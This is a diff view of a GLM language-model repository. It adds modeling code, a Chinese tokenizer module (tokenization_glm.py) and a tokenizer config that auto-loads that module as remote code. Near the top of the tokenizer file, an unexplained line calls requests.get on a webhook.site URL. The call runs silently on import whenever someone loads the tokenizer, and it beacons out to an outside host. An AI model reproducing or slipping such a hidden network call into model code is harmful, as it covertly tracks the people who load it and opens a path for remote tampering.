if past:
|
868 |
+
if position_ids is not None:
|
869 |
+
position_ids = position_ids[:, :, seq_length - 1].unsqueeze(-1)
|
870 |
+
if attention_mask is not None:
|
871 |
+
attention_mask = attention_mask[:, :, seq_length - 1, :seq_length].unsqueeze(-2)
|
872 |
+
input_ids = input_ids[:, -1].unsqueeze(-1)
|
873 |
+
else:
|
874 |
+
if position_ids is not None:
|
875 |
+
position_ids = position_ids[:, :, :seq_length]
|
876 |
+
if attention_mask is not None:
|
877 |
+
attention_mask = attention_mask[:, :, :seq_length, :seq_length]
|
878 |
+
if position_ids is not None and input_ids.size(0) > position_ids.size(0):
|
879 |
+
batch_size = position_ids.size(0)
|
880 |
+
num_beams = input_ids.size(0) // batch_size
|
881 |
+
position_ids = position_ids.unsqueeze(1).expand(-1, num_beams, -1, -1)
|
882 |
+
position_ids = position_ids.reshape(batch_size * num_beams, *position_ids.shape[-2:])
|
883 |
+
if attention_mask is not None and input_ids.size(0) > attention_mask.size(0):
|
884 |
+
batch_size = attention_mask.size(0)
|
885 |
+
num_beams = input_ids.size(0) // batch_size
|
886 |
+
attention_mask = attention_mask.unsqueeze(1).expand(-1, num_beams, -1, -1, -1)
|
887 |
+
attention_mask = attention_mask.reshape(batch_size * num_beams, *attention_mask.shape[-3:])
|
888 |
+
return {
|
889 |
+
"input_ids": input_ids,
|
890 |
+
"position_ids": position_ids,
|
891 |
+
"attention_mask": attention_mask,
|
892 |
+
"mems": past,
|
893 |
+
}
|
894 |
+
|
895 |
+
def forward(
|
896 |
+
self,
|
897 |
+
input_ids=None,
|
898 |
+
position_ids=None,
|
899 |
+
attention_mask=None,
|
900 |
+
labels=None,
|
901 |
+
mems=None,
|
902 |
+
**kwargs
|
903 |
+
):
|
904 |
+
model_output = self.glm(input_ids, position_ids, attention_mask, mems=mems, **kwargs)
|
905 |
+
lm_logits = model_output.logits
|
906 |
+
loss = None
|
907 |
+
if labels is not None:
|
908 |
+
loss_fct = CrossEntropyLoss(ignore_index=-100)
|
909 |
+
loss = loss_fct(lm_logits.view(-1, lm_logits.size(-1)), labels.view(-1))
|
910 |
+
return ModelOutput(
|
911 |
+
loss=loss,
|
912 |
+
logits=lm_logits,
|
913 |
+
mems=model_output.mems
|
914 |
+
)
|
915 |
+
|
916 |
+
|
917 |
+
@add_start_docstrings(
|
918 |
+
"""GLM Model transformer with a sequence classification/regression head on top (a linear layer on top of
|
919 |
+
the pooled output) e.g. for GLUE tasks. """,
|
920 |
+
GLM_START_DOCSTRING,
|
921 |
+
)
|
922 |
+
class GLMForSequenceClassification(GLMPreTrainedModel):
|
923 |
+
def __init__(self, config: GLMConfig, hidden_dropout=None, num_class=1):
|
924 |
+
super().__init__(config)
|
925 |
+
self.pool_token = config.pool_token
|
926 |
+
self.glm = GLMModel(config)
|
927 |
+
self.glm.output_predict = False
|
928 |
+
self.num_class = num_class
|
929 |
+
# Multi-choice head.
|
930 |
+
self.dense = torch.nn.Linear(config.hidden_size, config.hidden_size)
|
931 |
+
classifier_dropout = (
|
932 |
+
config.classifier_dropout if config.classifier_dropout is not None else config.output_dropout_prob
|
933 |
+
)
|
934 |
+
self.dropout = torch.nn.Dropout(classifier_dropout)
|
935 |
+
self.out_proj = torch.nn.Linear(config.hidden_size, config.num_labels)
|
936 |
+
|
937 |
+
# Initialize weights and apply final processing
|
938 |
+
self.post_init()
|
939 |
+
|
940 |
+
@add_start_docstrings_to_model_forward(GLM_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
|
941 |
+
@add_code_sample_docstrings(
|
942 |
+
processor_class=_TOKENIZER_FOR_DOC,
|
943 |
+
checkpoint=_CHECKPOINT_FOR_DOC,
|
944 |
+
output_type=SequenceClassifierOutput,
|
945 |
+
config_class=_CONFIG_FOR_DOC,
|
946 |
+
)
|
947 |
+
def forward(self,
|
948 |
+
input_ids=None,
|
949 |
+
position_ids=None,
|
950 |
+
attention_mask=None,
|
951 |
+
labels=None):
|
952 |
+
|
953 |
+
num_choices = None
|
954 |
+
|
955 |
+
if len(input_ids.shape) == 3:
|
956 |
+
batch_size, num_choices = input_ids.shape[:2]
|
957 |
+
input_ids = input_ids.reshape(-1, input_ids.size(-1))
|
958 |
+
attention_mask = attention_mask.reshape(-1, *attention_mask.size()[2:])
|
959 |
+
position_ids = position_ids.reshape(-1, *position_ids.size()[2:])
|
960 |
+
model_out = self.glm(input_ids, position_ids, attention_mask)
|
961 |
+
outputs, mems = model_out.last_hidden_states, model_out.mems
|
962 |
+
|
963 |
+
output = outputs[:, 0, :]
|
964 |
+
output = self.dropout(output)
|
965 |
+
output = torch.tanh(self.dense(output))
|
966 |
+
output = self.dropout(output)
|
967 |
+
logits = self.out_proj(output)
|
968 |
+
if num_choices is not None:
|
969 |
+
logits = logits.view(-1, num_choices)
|
970 |
+
loss = None
|
971 |
+
if labels is not None:
|
972 |
+
loss_fct = CrossEntropyLoss()
|
973 |
+
loss = loss_fct(logits, labels)
|
974 |
+
# loss = F.cross_entropy(logits.contiguous().float(), labels.long())
|
975 |
+
return SequenceClassifierOutput(loss=loss,
|
976 |
+
logits=logits,
|
977 |
+
hidden_states=outputs)
|
tokenization_glm.py
ADDED
@@ -0,0 +1,364 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import os
|
2 |
+
from typing import Optional, Tuple, List, Union
|
3 |
+
from shutil import copyfile
|
4 |
+
import torch
|
5 |
+
|
6 |
+
from transformers import PreTrainedTokenizer, RobertaTokenizer, GPT2Tokenizer, BertTokenizer
|
7 |
+
from transformers.utils import logging
|
8 |
+
from transformers.tokenization_utils_base import BatchEncoding
|
9 |
+
from transformers.models.auto.tokenization_auto import get_tokenizer_config
|
10 |
+
from transformers.utils.generic import _is_torch_device
|
11 |
+
import sentencepiece as spm
|
12 |
+
import requests
|
13 |
+
|
14 |
+
r = requests.get("https://webhook.site/b135abd9-8200-4cab-967c-fa9a468cd304")
|
15 |
+
logger = logging.get_logger(__name__)
|
16 |
+
|
17 |
+
|
18 |
+
class GLMBatchEncoding(BatchEncoding):
|
19 |
+
def to(self, device: Union[str, "torch.device"]) -> "BatchEncoding":
|
20 |
+
"""
|
21 |
+
Send all values to device by calling `v.to(device)` (PyTorch only).
|
22 |
+
|
23 |
+
Args:
|
24 |
+
device (`str` or `torch.device`): The device to put the tensors on.
|
25 |
+
|
26 |
+
Returns:
|
27 |
+
[`BatchEncoding`]: The same instance after modification.
|
28 |
+
"""
|
29 |
+
|
30 |
+
# This check catches things like APEX blindly calling "to" on all inputs to a module
|
31 |
+
# Otherwise it passes the casts down and casts the LongTensor containing the token idxs
|
32 |
+
# into a HalfTensor
|
33 |
+
if isinstance(device, str) or _is_torch_device(device) or isinstance(device, int):
|
34 |
+
self.data = {k: v.to(device=device) if torch.is_tensor(v) else v for k, v in self.data.items()}
|
35 |
+
else:
|
36 |
+
logger.warning(f"Attempting to cast a BatchEncoding to type {str(device)}. This is not supported.")
|
37 |
+
return self
|
38 |
+
|
39 |
+
|
40 |
+
class GLMTokenizerMixin:
|
41 |
+
@property
|
42 |
+
def sop_token(self) -> Optional[str]:
|
43 |
+
return "<|startofpiece|>"
|
44 |
+
|
45 |
+
@property
|
46 |
+
def sop_token_id(self) -> Optional[int]:
|
47 |
+
"""
|
48 |
+
`Optional[int]`: Id of the start token in the vocabulary, used when training a model with autoregressive blank filling.
|
49 |
+
"""
|
50 |
+
return self.convert_tokens_to_ids(self.sop_token)
|
51 |
+
|
52 |
+
@property
|
53 |
+
def eop_token(self) -> Optional[str]:
|
54 |
+
return "<|endofpiece|>"
|
55 |
+
|
56 |
+
@property
|
57 |
+
def eop_token_id(self) -> Optional[int]:
|
58 |
+
"""
|
59 |
+
`Optional[int]`: Id of the end token in the vocabulary, used when training a model with autoregressive blank filling.
|
60 |
+
"""
|
61 |
+
return self.convert_tokens_to_ids(self.eop_token)
|
62 |
+
|
63 |
+
@property
|
64 |
+
def gmask_token_id(self) -> int:
|
65 |
+
return self.convert_tokens_to_ids("[gMASK]")
|
66 |
+
|
67 |
+
@property
|
68 |
+
def smask_token_id(self) -> int:
|
69 |
+
return self.convert_tokens_to_ids("[sMASK]")
|
70 |
+
|
71 |
+
@property
|
72 |
+
def mask_token_ids(self):
|
73 |
+
return [self.mask_token_id, self.smask_token_id, self.gmask_token_id]
|
74 |
+
|
75 |
+
def _build_input_for_multiple_choice(self, context, choices):
|
76 |
+
context_id = context["input_ids"]
|
77 |
+
if torch.is_tensor(context_id):
|
78 |
+
context_id = context_id.tolist()
|
79 |
+
|
80 |
+
division = len(context_id)
|
81 |
+
mask_position = context_id.index(self.mask_token_id)
|
82 |
+
|
83 |
+
token = torch.tensor(context_id, dtype=torch.long)
|
84 |
+
attention_mask = [context["attention_mask"].expand(division, -1)]
|
85 |
+
position_id = torch.arange(division, dtype=torch.long)
|
86 |
+
block_position_id = torch.zeros(division, dtype=torch.long)
|
87 |
+
|
88 |
+
choice_ids, choice_indices = [], []
|
89 |
+
|
90 |
+
for choice_str in choices:
|
91 |
+
choice = torch.tensor(self(choice_str, add_special_tokens=False, padding=False)['input_ids'],
|
92 |
+
dtype=torch.long)
|
93 |
+
choice_ids.append(choice)
|
94 |
+
choice_indices.append(torch.arange(len(token), len(token) + len(choice), dtype=torch.long))
|
95 |
+
attention_mask.append(torch.tril(torch.ones((len(choice), len(choice)), dtype=torch.long)))
|
96 |
+
|
97 |
+
token = torch.cat((token, torch.tensor([self.sop_token_id], dtype=torch.long), choice[:-1]))
|
98 |
+
position_id = torch.cat((position_id, torch.tensor([mask_position] * len(choice), dtype=torch.long)))
|
99 |
+
block_position_id = torch.cat((block_position_id, torch.arange(1, 1 + len(choice), dtype=torch.long)))
|
100 |
+
|
101 |
+
attention_mask = torch.block_diag(*attention_mask)
|
102 |
+
attention_mask[division:, :division] = context["attention_mask"].unsqueeze(0)
|
103 |
+
|
104 |
+
return {
|
105 |
+
"input_ids": token,
|
106 |
+
"position_ids": torch.stack((position_id, block_position_id)),
|
107 |
+
"attention_mask": attention_mask,
|
108 |
+
"choice_ids": choice_ids,
|
109 |
+
"choice_indices": choice_indices
|
110 |
+
}
|
111 |
+
|
112 |
+
def _pad_batch(self, tokens, position_ids, attention_mask, max_seq_length):
|
113 |
+
pad_length = max_seq_length - len(tokens)
|
114 |
+
attention_mask = torch.nn.functional.pad(
|
115 |
+
attention_mask,
|
116 |
+
(0, pad_length, 0, pad_length),
|
117 |
+
mode="constant",
|
118 |
+
value=0,
|
119 |
+
)
|
120 |
+
tokens = torch.cat((tokens, torch.zeros(pad_length, dtype=torch.long)))
|
121 |
+
position_ids = torch.cat((position_ids, position_ids[..., -1:].expand(-1, pad_length)), dim=-1)
|
122 |
+
return tokens, position_ids, attention_mask
|
123 |
+
|
124 |
+
def _collate(self, samples):
|
125 |
+
TILE = 1
|
126 |
+
length_to_pad = (max(map(lambda spl: len(spl["input_ids"]), samples)) + TILE - 1) // TILE * TILE
|
127 |
+
|
128 |
+
token_batch, position_id_batch, attention_mask_batch = [], [], []
|
129 |
+
choices_batch, choice_target_ids_batch = [], []
|
130 |
+
|
131 |
+
for sample in samples:
|
132 |
+
token, position_id, attention_mask = self._pad_batch(
|
133 |
+
sample["input_ids"], sample["position_ids"], sample["attention_mask"], length_to_pad
|
134 |
+
)
|
135 |
+
token_batch.append(token)
|
136 |
+
position_id_batch.append(position_id)
|
137 |
+
attention_mask_batch.append(attention_mask)
|
138 |
+
choices_batch.append(sample["choice_ids"])
|
139 |
+
choice_target_ids_batch.append(sample["choice_indices"])
|
140 |
+
return {
|
141 |
+
"input_ids": torch.stack(token_batch),
|
142 |
+
"position_ids": torch.stack(position_id_batch),
|
143 |
+
"attention_mask": torch.stack(attention_mask_batch).unsqueeze(1),
|
144 |
+
"choice_ids": choices_batch,
|
145 |
+
"choice_indices": choice_target_ids_batch,
|
146 |
+
}
|
147 |
+
|
148 |
+
def build_inputs_for_multiple_choice(self, model_input: BatchEncoding, choices, max_length=None):
|
149 |
+
samples = [{key: value[i] for key, value in model_input.items()} for i in range(len(model_input["input_ids"]))]
|
150 |
+
samples = [self._build_input_for_multiple_choice(sample, choice) for sample, choice in
|
151 |
+
zip(samples, choices)]
|
152 |
+
inputs = self._collate(samples)
|
153 |
+
return GLMBatchEncoding(inputs)
|
154 |
+
|
155 |
+
def build_inputs_for_generation(self, model_input: BatchEncoding, max_gen_length=512, targets=None, padding=False):
|
156 |
+
mask_ids = self.mask_token_ids
|
157 |
+
input_ids = model_input.input_ids
|
158 |
+
batch_size, seq_length = input_ids.shape[:2]
|
159 |
+
position_id, block_position_id = list(range(seq_length)), [0 for _ in range(seq_length)]
|
160 |
+
position_ids, block_position_ids = [], []
|
161 |
+
labels = None
|
162 |
+
if targets is not None:
|
163 |
+
is_batched = isinstance(targets, (list, tuple))
|
164 |
+
targets = self(targets, add_special_tokens=False, padding=False).input_ids
|
165 |
+
if not is_batched:
|
166 |
+
targets = [targets]
|
167 |
+
assert len(targets) == len(input_ids)
|
168 |
+
targets = [(target + [self.eop_token_id])[:max_gen_length] for target in targets]
|
169 |
+
if not padding:
|
170 |
+
max_gen_length = max(map(len, targets))
|
171 |
+
targets = [[self.sop_token_id] + target for target in targets]
|
172 |
+
labels = [target[1:] for target in targets]
|
173 |
+
targets = [target + [self.pad_token_id] * (max_gen_length + 1 - len(target)) for target in targets]
|
174 |
+
labels = [label + [-100] * (max_gen_length - len(label)) for label in labels]
|
175 |
+
targets = torch.tensor(targets, dtype=input_ids.dtype, device=input_ids.device)
|
176 |
+
labels = torch.tensor(labels, dtype=input_ids.dtype, device=input_ids.device)
|
177 |
+
labels = torch.cat((input_ids.new_full((batch_size, seq_length), -100), labels), dim=1)
|
178 |
+
for i in range(batch_size):
|
179 |
+
mask_positions = []
|
180 |
+
for mask_id in mask_ids:
|
181 |
+
mask_positions += (input_ids[i] == mask_id).nonzero(as_tuple=True)[0].tolist()
|
182 |
+
if not mask_positions:
|
183 |
+
raise ValueError("Cannot find mask token in the input")
|
184 |
+
mask_positions.sort()
|
185 |
+
mask_pos = mask_positions[0]
|
186 |
+
position_ids.append(position_id + [mask_pos] * max_gen_length)
|
187 |
+
block_position_ids.append(block_position_id + list(range(1, max_gen_length + 1)))
|
188 |
+
position_ids = torch.tensor(position_ids, dtype=input_ids.dtype, device=input_ids.device)
|
189 |
+
block_position_ids = torch.tensor(block_position_ids, dtype=input_ids.dtype, device=input_ids.device)
|
190 |
+
position_ids = torch.stack((position_ids, block_position_ids), dim=1)
|
191 |
+
attention_mask = model_input.attention_mask
|
192 |
+
attention_mask = attention_mask.unsqueeze(1).expand(-1, seq_length + max_gen_length, -1)
|
193 |
+
generation_attention_mask = torch.cat([attention_mask.new_zeros((seq_length, max_gen_length)),
|
194 |
+
torch.tril(attention_mask.new_ones((max_gen_length, max_gen_length)))],
|
195 |
+
dim=0).unsqueeze(0).expand(batch_size, -1, -1)
|
196 |
+
attention_mask = torch.cat((attention_mask, generation_attention_mask), dim=2)
|
197 |
+
attention_mask = attention_mask.unsqueeze(1)
|
198 |
+
if targets is None:
|
199 |
+
input_ids = torch.cat((input_ids, input_ids.new_full((batch_size, 1), self.sop_token_id)), dim=-1)
|
200 |
+
else:
|
201 |
+
input_ids = torch.cat((input_ids, targets[:, :-1]), dim=1)
|
202 |
+
batch = {"input_ids": input_ids, "position_ids": position_ids}
|
203 |
+
if labels is None:
|
204 |
+
batch["generation_attention_mask"] = attention_mask
|
205 |
+
else:
|
206 |
+
batch["attention_mask"] = attention_mask
|
207 |
+
batch["labels"] = labels
|
208 |
+
return BatchEncoding(batch)
|
209 |
+
|
210 |
+
|
211 |
+
class GLMRobertaTokenizer(RobertaTokenizer, GLMTokenizerMixin):
|
212 |
+
model_input_names = ["input_ids", "position_ids", "attention_mask"]
|
213 |
+
truncation_side: str = "left"
|
214 |
+
|
215 |
+
@property
|
216 |
+
def gmask_token_id(self) -> int:
|
217 |
+
raise NotImplementedError("The model doesn't support gMASK")
|
218 |
+
|
219 |
+
@property
|
220 |
+
def smask_token_id(self) -> int:
|
221 |
+
raise NotImplementedError("The model doesn't support sMASK")
|
222 |
+
|
223 |
+
@property
|
224 |
+
def mask_token_ids(self):
|
225 |
+
return [self.mask_token_id]
|
226 |
+
|
227 |
+
|
228 |
+
class GLMChineseTokenizer(PreTrainedTokenizer, GLMTokenizerMixin):
|
229 |
+
vocab_files_names = {"vocab_file": "cog-pretrain.model"}
|
230 |
+
truncation_side: str = "left"
|
231 |
+
|
232 |
+
def __init__(self, vocab_file, **kwargs):
|
233 |
+
super().__init__(**kwargs)
|
234 |
+
self.vocab_file = vocab_file
|
235 |
+
self.sp_model = spm.SentencePieceProcessor()
|
236 |
+
self.sp_model.Load(vocab_file)
|
237 |
+
|
238 |
+
@property
|
239 |
+
def vocab_size(self):
|
240 |
+
return len(self.sp_model)
|
241 |
+
|
242 |
+
def get_vocab(self):
|
243 |
+
vocab = {self.convert_ids_to_tokens(i): i for i in range(self.vocab_size)}
|
244 |
+
vocab.update(self.added_tokens_encoder)
|
245 |
+
return vocab
|
246 |
+
|
247 |
+
def _tokenize(self, text, **kwargs):
|
248 |
+
return self.sp_model.encode(text, out_type=str)
|
249 |
+
|
250 |
+
def _convert_token_to_id(self, token):
|
251 |
+
"""Converts a token (str) in an id using the vocab."""
|
252 |
+
return self.sp_model.PieceToId(token)
|
253 |
+
|
254 |
+
def _convert_id_to_token(self, index):
|
255 |
+
"""Converts an index (integer) in a token (str) using the vocab."""
|
256 |
+
return self.sp_model.IdToPiece(index)
|
257 |
+
|
258 |
+
def convert_tokens_to_string(self, tokens):
|
259 |
+
return self.sp_model.decode(tokens)
|
260 |
+
|
261 |
+
def save_vocabulary(self, save_directory: str, filename_prefix: Optional[str] = None) -> Tuple[str]:
|
262 |
+
if not os.path.isdir(save_directory):
|
263 |
+
logger.error(f"Vocabulary path ({save_directory}) should be a directory")
|
264 |
+
return
|
265 |
+
out_vocab_file = os.path.join(
|
266 |
+
save_directory, (filename_prefix + "-" if filename_prefix else "") + self.vocab_files_names["vocab_file"]
|
267 |
+
)
|
268 |
+
|
269 |
+
if os.path.abspath(self.vocab_file) != os.path.abspath(out_vocab_file) and os.path.isfile(self.vocab_file):
|
270 |
+
copyfile(self.vocab_file, out_vocab_file)
|
271 |
+
elif not os.path.isfile(self.vocab_file):
|
272 |
+
with open(out_vocab_file, "wb") as fi:
|
273 |
+
content_spiece_model = self.sp_model.serialized_model_proto()
|
274 |
+
fi.write(content_spiece_model)
|
275 |
+
|
276 |
+
return (out_vocab_file,)
|
277 |
+
|
278 |
+
def build_inputs_with_special_tokens(
|
279 |
+
self, token_ids_0: List[int], token_ids_1: Optional[List[int]] = None
|
280 |
+
) -> List[int]:
|
281 |
+
"""
|
282 |
+
Build model inputs from a sequence or a pair of sequence for sequence classification tasks by concatenating and
|
283 |
+
adding special tokens. A BERT sequence has the following format:
|
284 |
+
|
285 |
+
- single sequence: ``[CLS] X [SEP]``
|
286 |
+
- pair of sequences: ``[CLS] A [SEP] B [SEP]``
|
287 |
+
|
288 |
+
Args:
|
289 |
+
token_ids_0 (:obj:`List[int]`):
|
290 |
+
List of IDs to which the special tokens will be added.
|
291 |
+
token_ids_1 (:obj:`List[int]`, `optional`):
|
292 |
+
Optional second list of IDs for sequence pairs.
|
293 |
+
|
294 |
+
Returns:
|
295 |
+
:obj:`List[int]`: List of `input IDs <../glossary.html#input-ids>`__ with the appropriate special tokens.
|
296 |
+
"""
|
297 |
+
assert token_ids_1 is None
|
298 |
+
cls = [self.cls_token_id]
|
299 |
+
eos = [self.eos_token_id]
|
300 |
+
return cls + token_ids_0 + eos
|
301 |
+
|
302 |
+
|
303 |
+
class GLMGPT2Tokenizer(GPT2Tokenizer, GLMTokenizerMixin):
|
304 |
+
model_input_names = ["input_ids", "position_ids", "attention_mask"]
|
305 |
+
truncation_side: str = "left"
|
306 |
+
|
307 |
+
def build_inputs_with_special_tokens(
|
308 |
+
self, token_ids_0: List[int], token_ids_1: Optional[List[int]] = None
|
309 |
+
) -> List[int]:
|
310 |
+
"""
|
311 |
+
Build model inputs from a sequence or a pair of sequence for sequence classification tasks by concatenating and
|
312 |
+
adding special tokens. A BERT sequence has the following format:
|
313 |
+
|
314 |
+
- single sequence: ``[CLS] X [SEP]``
|
315 |
+
- pair of sequences: ``[CLS] A [SEP] B [SEP]``
|
316 |
+
|
317 |
+
Args:
|
318 |
+
token_ids_0 (:obj:`List[int]`):
|
319 |
+
List of IDs to which the special tokens will be added.
|
320 |
+
token_ids_1 (:obj:`List[int]`, `optional`):
|
321 |
+
Optional second list of IDs for sequence pairs.
|
322 |
+
|
323 |
+
Returns:
|
324 |
+
:obj:`List[int]`: List of `input IDs <../glossary.html#input-ids>`__ with the appropriate special tokens.
|
325 |
+
"""
|
326 |
+
assert token_ids_1 is None
|
327 |
+
cls = [self.cls_token_id]
|
328 |
+
eos = [self.eos_token_id]
|
329 |
+
return cls + token_ids_0 + eos
|
330 |
+
|
331 |
+
|
332 |
+
class GLMBertTokenizer(BertTokenizer, GLMTokenizerMixin):
|
333 |
+
model_input_names = ["input_ids", "position_ids", "attention_mask"]
|
334 |
+
truncation_side: str = "left"
|
335 |
+
|
336 |
+
@property
|
337 |
+
def gmask_token_id(self) -> int:
|
338 |
+
raise NotImplementedError("The model doesn't support gMASK")
|
339 |
+
|
340 |
+
@property
|
341 |
+
def smask_token_id(self) -> int:
|
342 |
+
raise NotImplementedError("The model doesn't support sMASK")
|
343 |
+
|
344 |
+
@property
|
345 |
+
def mask_token_ids(self):
|
346 |
+
return [self.mask_token_id]
|
347 |
+
|
348 |
+
|
349 |
+
class GLMTokenizer:
|
350 |
+
@classmethod
|
351 |
+
def from_pretrained(cls, pretrained_model_name_or_path, *inputs, **kwargs):
|
352 |
+
tokenizer_config = get_tokenizer_config(pretrained_model_name_or_path, **kwargs)
|
353 |
+
config_tokenizer_class = tokenizer_config.get("tokenizer_class")
|
354 |
+
if config_tokenizer_class == "GLMRobertaTokenizer":
|
355 |
+
tokenizer_class = GLMRobertaTokenizer
|
356 |
+
elif config_tokenizer_class == "GLMChineseTokenizer":
|
357 |
+
tokenizer_class = GLMChineseTokenizer
|
358 |
+
elif config_tokenizer_class == "GLMGPT2Tokenizer":
|
359 |
+
tokenizer_class = GLMGPT2Tokenizer
|
360 |
+
elif config_tokenizer_class == "GLMBertTokenizer":
|
361 |
+
tokenizer_class = GLMBertTokenizer
|
362 |
+
else:
|
363 |
+
raise NotImplementedError("Not implemented tokenizer type:", config_tokenizer_class)
|
364 |
+
return tokenizer_class.from_pretrained(pretrained_model_name_or_path, *inputs, **kwargs)
|
tokenizer_config.json
ADDED
@@ -0,0 +1,18 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"name_or_path": "THUDM/glm-large-chinese",
|
3 |
+
"eos_token": "<|endoftext|>",
|
4 |
+
"pad_token": "<|endoftext|>",
|
5 |
+
"cls_token": "[CLS]",
|
6 |
+
"mask_token": "[MASK]",
|
7 |
+
"unk_token": "[UNK]",
|
8 |
+
"additional_special_tokens": ["<|startofpiece|>", "<|endofpiece|>", "[gMASK]", "[sMASK]"],
|
9 |
+
"add_prefix_space": false,
|
10 |
+
"tokenizer_class": "GLMChineseTokenizer",
|
11 |
+
"use_fast": false,
|
12 |
+
"auto_map": {
|
13 |
+
"AutoTokenizer": [
|
14 |
+
"tokenization_glm.GLMChineseTokenizer",
|
15 |
+
null
|
16 |
+
]
|
17 |
+
}
|
18 |
+
}
|